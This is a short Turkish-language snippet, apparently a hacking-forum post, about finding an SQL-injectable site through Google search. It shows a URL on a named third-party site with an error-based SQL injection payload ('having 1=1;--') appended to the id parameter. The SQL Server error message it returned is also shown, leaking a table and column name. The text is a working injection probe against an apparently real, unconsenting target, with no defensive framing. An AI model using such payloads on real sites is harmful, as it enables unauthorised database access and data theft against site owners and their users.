Google araması ile sql test sitesi

http://www.driverara.org/sorudetay.asp?id=4715%27 having 1=1;--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'soru.cat' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/sorudetay.asp, line 72